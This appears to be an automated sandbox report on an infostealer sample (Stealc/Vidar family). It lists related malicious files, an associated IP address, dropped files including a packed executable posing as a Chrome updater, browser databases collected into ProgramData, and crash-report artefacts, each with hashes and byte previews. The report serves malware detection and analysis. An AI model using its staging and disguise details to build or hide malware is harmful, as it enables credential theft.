	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	XS_Trade_AI-newest_release_.exe	Get hash	malicious	LummaC	Browse	87.106.236.48
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	Fa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	87.106.236.48
	Lista produkt#U00f3w POL56583753Sarchmentdoc.bat	Get hash	malicious	Remcos, GuLoader	Browse	87.106.236.48

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\Google\Chrome\updater.exe	file.exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\BAAEHDBFID.exe	file.exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAAEHDBFID.exe

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8582552
Entropy (8bit):	7.927067341331451
Encrypted:	false
SSDEEP:	196608:uEEVzloWL4sYCK0to58wBO537vWoWRQwcQIMatadu1bEnulj3rOeL8:MloWL4zCjth37v/t6u18Cj3qe
MD5:	880C9E3235130A6AAAA3EC25BE18BDB4
SHA1:	E68F23FC85D390623BA8763AFC8AF22424153D74
SHA-256:	5D3AF8278F2832D439F72B85639B35C99CC50436DFF6FC051456C9FA5443D155
SHA-512:	8473C46B4C1F7278E3D50CE40EBE25E064F0EAE81A9BF31399A3DFEAE05DFEDF1885E379C0303831C3226D24E66F59CD76590E2713003C86C93E979E01D70B75
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d..... g.........."...........l................@.............................0............`.................................................B0n.d....Pn.H................... ..............................(@n.(................................................... .........n.................. ..` .*... ..1....t..............@..@ p.l..P...Q.................@... ......m......<R.............@..@ ......m......>R.............@..@ ......n......@R.............@... P.....n.n....BR.............@..@ x.... n.i....DR.............@..B.imports.....0n......FR.............@....tls.........@n......HR..................rsrc........Pn......JR.............@..@.themida.`T..`n......NR.............`....boot....^0......^0..NR.............`..`.reloc....... .........................@........................................................

C:\ProgramData\ECBAEBGHDAECBGDGCAKEGHIIDA

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAFIJJJKEGIECAKKEHIDHDAKK

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Google\Chrome\updater.exe

Download File

Process:	C:\ProgramData\BAAEHDBFID.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8582552
Entropy (8bit):	7.927067341331451
Encrypted:	false
SSDEEP:	196608:uEEVzloWL4sYCK0to58wBO537vWoWRQwcQIMatadu1bEnulj3rOeL8:MloWL4zCjth37v/t6u18Cj3qe
MD5:	880C9E3235130A6AAAA3EC25BE18BDB4
SHA1:	E68F23FC85D390623BA8763AFC8AF22424153D74
SHA-256:	5D3AF8278F2832D439F72B85639B35C99CC50436DFF6FC051456C9FA5443D155
SHA-512:	8473C46B4C1F7278E3D50CE40EBE25E064F0EAE81A9BF31399A3DFEAE05DFEDF1885E379C0303831C3226D24E66F59CD76590E2713003C86C93E979E01D70B75
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d..... g.........."...........l................@.............................0............`.................................................B0n.d....Pn.H................... ..............................(@n.(................................................... .........n.................. ..` .*... ..1....t..............@..@ p.l..P...Q.................@... ......m......<R.............@..@ ......m......>R.............@..@ ......n......@R.............@... P.....n.n....BR.............@..@ x.... n.i....DR.............@..B.imports.....0n......FR.............@....tls.........@n......HR..................rsrc........Pn......JR.............@..@.themida.`T..`n......NR.............`....boot....^0......^0..NR.............`..`.reloc....... .........................@........................................................

C:\ProgramData\IEHDBAAFIDGDAAAAAAAA

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JEGHDAFIDGDAAKEBFHDA

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKFIDGDH

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCFIEHC

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJKKJJKJEGIECAKJJEB

Download File

Process:	C:\Users\user\Desktop\X9d3758tok.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.363788168458258
Encrypted:	false
SSDEEP:	6:6xPoaaD0JOCEfMuaaD0JOCEfMKQmDNOxPoaaD0JOCEfMuaaD0JOCEfMKQmDN:1aaD0JcaaD0JwQQbaaD0JcaaD0JwQQ
MD5:	0E72F896C84F1457C62C0E20338FAC0D
SHA1:	9C071CC3D15E5BD8BF603391AE447202BD9F8537
SHA-256:	686DC879EA8690C42D3D5D10D0148AE7110FA4D8DCCBF957FB8E41EE3D4A42B3
SHA-512:	AAA5BE088708DABC2EC9A7A6632BDF5700BE719D3F72B732BD2DFD1A3CFDD5C8884BFA4951DB0C499AF423EC30B14A49A30FBB831D1B0A880FE10053043A4251
Malicious:	false
Preview:	*.>...........&.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................&.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3108009027331549
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrn:KooCEYhgYEL0In
MD5:	BB5E75CDFCB2EB94A7CBD72FA878AB45
SHA1:	08543B086726453001A83A8EBCC13ED281585517
SHA-256:	1DB5D3522FECECA3AAC259FE63F25FFE0C3EE5078EC1DB51B34D936D3900A130
SHA-512:	76A901FD43874F340716608458EB85FD28B051D498EE46B6271579E4C557C59B041E9B052FFC0A341D82DA34EF5BE18686D1A68C23C82398FF37F3CF3C70DBE5
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x070851ee, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221711742105647
Encrypted:	false
SSDEEP:	1536:fSB2ESB2SSjlK/uedMrSU0OrsJzvqYkr3g16f2UPkLk+ku4/Iw4KKazAkUk1k2DO:fazag03A2UrzJDO
MD5:	4E763461D581FEE4496CFCA1480634C3
SHA1:	F9C3989D8B8BF2B426F2D07C45FCFC85EA3BA669
SHA-256:	B6FF64D4C10DB3E54D69E4E4DB0109F5FE9BFD8FE455B607BA3A9FBC453195B3
SHA-512:	954440DD436273E74251DA282D980C3D603507E26A075EC63E96D513029DDA500C1E9365BF3D42CB699EAAE73E9AE6B5A6C7A7C831A5D9A5CE2D393DDE5EC50D
Malicious:	false
Preview:	..Q.... .......Y.......X\...;...{......................n.%..........\|m......\|..h.#..........\|m.n.%.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................\|..t.....\|m..........................\|m..........................#......n.%.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07714305829010923
Encrypted:	false
SSDEEP:	3:WllOetYeRf7V4w/x4jBwAXZcHu3PvY/allOE/tlnl+/rTc:WllrzRf7Vf4GAXD3PvtpMP
MD5:	F3378DC9ACD253DF10709923A554E495
SHA1:	B8807F97EB574F193420D6FDF752A4633A556693
SHA-256:	D213A969388FF9FD4ECE7195FDBCE1159CCA908830B551B559E184D5AA7B2C9D
SHA-512:	A1037E06CC418A4ECF84FBA89E8C821975E77EFCA28F847A6F2E2508FFCC628294FE81DE011E65BA6CB4F07834BA7B6AF803D3512D5CF27896652165B4B87BBF
Malicious:	false
Preview:	yJ.g.....................................;...{.......\|.......\|m..............\|m......\|m....t.....\|O..........................\|m.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_X9d3758tok.exe_7beab63b6af36e3551497cf0b8abc9f9e755e32_9a3c7dcd_3211a849-280e-456f-90ae-65679047e3ad\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2133409289964106
Encrypted:	false
SSDEEP:	192:qBdMs40/5O6jxCZrMZx6jyzuiFKZ24IO8Xx:AdPT/5O6jDiOzuiFKY4IO8X
MD5:	B43209C101ECD73AA76876205B207CC6
SHA1:	71D6E38A5680C06BF27A7BDD80C19789197E72FB
SHA-256:	EE4C630313BA0F99AD2AE697F4B5CAA7C7C26037AC396C4283AD8BCC1DF3D2BF
SHA-512:	1F9DC3E09B2FD5FA6B74578C6E58588A64B502CBBEC27DED237FA88A209411CC82B37C6929EA412351B27B4CD3968D0B64A538A280F4F208ACCBF51671A63649
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.6.4.5.4.5.9.0.4.6.8.5.4.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.6.4.5.4.5.9.8.5.9.3.5.9.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.2.1.1.a.8.4.9.-.2.8.0.e.-.4.5.6.f.-.9.0.a.e.-.6.5.6.7.9.0.4.7.e.3.a.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.a.4.9.d.0.b.f.-.6.f.f.f.-.4.1.f.c.-.9.b.5.7.-.6.6.3.4.7.7.e.0.7.7.0.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.X.9.d.3.7.5.8.t.o.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.3.c.-.0.0.0.1.-.0.0.1.4.-.e.3.1.4.-.4.7.0.1.b.1.2.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.0.0.6.7.b.4.5.2.3.a.b.c.7.4.1.4.1.2.6.9.8.d.d.c.0.8.2.e.7.8.3.0.0.0.0.f.f.f.f.!.0.0.0.0.1.f.5.e.a.6.6.4.5.a.4.1.1.9.8.e.7.d.0.6.0.f.a.1.4.7.b.9.8.a.a.b.f.1.4.6.0.0.d.1.!.X.9.d.3.7.5.8.t.o.k...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB4B2.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 29 03:17:39 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	74902
Entropy (8bit):	2.6837837020935114
Encrypted:	false
SSDEEP:	384:65Zj5SynRysEMNlv/JYIiMrORonjnA5Wcdg9QJCjg:QZ5RysEyYIiMLzH3QJ7
MD5:	58C90613FE00F58A26A083E90A0EA44A
SHA1:	8F65F298B3C20CE7BE2F6E850488CFBDFCAAEE76
SHA-256:	4A06F235711DE39349782F960A082495A515EA18EBFE52CE9C4339CA9AC4A6BD
SHA-512:	9E2734AB56CA1CBFA469AE44D9CCE9541FCE04070AE601404AA77ED81B78D56BC55342D47BC787F766792C66F554C548F1083BDF494E6A901E0A524D71158619
Malicious:	false
Preview:	MDMP..a..... ........S g............4............%..<...........`?..........T.......8...........T............z...............,..........................................................................................eJ......P/......GenuineIntel............T.......<....S g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB698.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8346
Entropy (8bit):	3.696034158687403
Encrypted:	false
SSDEEP:	192:R6l7wVeJ6O6O6Y9bSU9VgmfoaDpDj89bL0sf8Zm:R6lXJ76O6YRSU9VgmfovLnfP
MD5:	9F9294D27D6E05C6A6FC414253E94031
SHA1:	F83135072E250C0789FD6B1E4E32FBD03119DA2F
SHA-256:	9889E0AF3CD7AB3891BD6152B782438E5C2AD98187F074FB956FD665E06C19FB
SHA-512:	81D263099BB14E2E67D0740A94FA55A45B5856D4B0F030C1AD27B5A887050C5566A2C79D2423AE7B653511077F5A754F0C322AD2ADF2AFB31E0FBE84110F7AC9
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.8.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB6C7.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.4592691233256225
Encrypted:	false
SSDEEP:	48:cvIwWl8zsziJg77aI9TQWpW8VYNEYm8M4JbLAuKFzK+q8qGTgS435Uld:uIjfzwI7tp7VmJbsuR3GTt4JUld
MD5:	B6E6AE64B28621234CB89C224AC3F00B
SHA1:	1CC9667B99E779547A4E7C62145DF610CAC38721
SHA-256:	813153214E21F3E05544A8EC888DCF2054DE68EB58C330F2651741EA70414511
SHA-512:	42E76B606E1625010A193F1493147D80DA09A85B94C080C1D42F50E3B28F493E75885F4B0492963D9A85E51B71AA4653E424E5EAE0C8AAAFCF7EC2E3809C99B6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="564140" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB6E5.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	87416
Entropy (8bit):	3.0381099606499298
Encrypted:	false
SSDEEP:	1536:OKqXtZKm7DVqBSyh4eaIItVVH03Vq2mQh:OKqXtZKm7DVqBSyh4eaIItVVH03Vq2mM
MD5:	53EDD2C172AE05D83CFAEA8BC9A88DEB
SHA1:	6F8F002BDFFB5D8E96376188B0BC972BD77641AD
SHA-256:	A100B808B4E7D3BDB98F8D6D0378E0E357C2F0EE5C731A7715D439FEFBE2B751
SHA-512:	566708CEBF4F298B21C665BFC7204973342638624517BC62492C0E14523E6B8587B40485930A9219D1E6E18C487D65ECFD4341BCC94077A5FDE3EA012DD4A0E1
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB763.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6868521797024347
Encrypted:	false
SSDEEP:	96:TiZYWso8Bu3uSY1YHOBWwQHdYEZPbtHilIIcsKwsKMEauVP5MzQDbFIGN3:2ZD3iBoV/EauVxMcXaGN3
MD5:	94413DD1F71011D4D674C136DAD0F3F2
SHA1:	05967A48E6B1658B5D5AC03CEC3AC8DC992D1F9C
SHA-256:	6DBE75F4B844A37BC14524C9D939754B7BDF1F7E943840152C598AC9FB9157AF
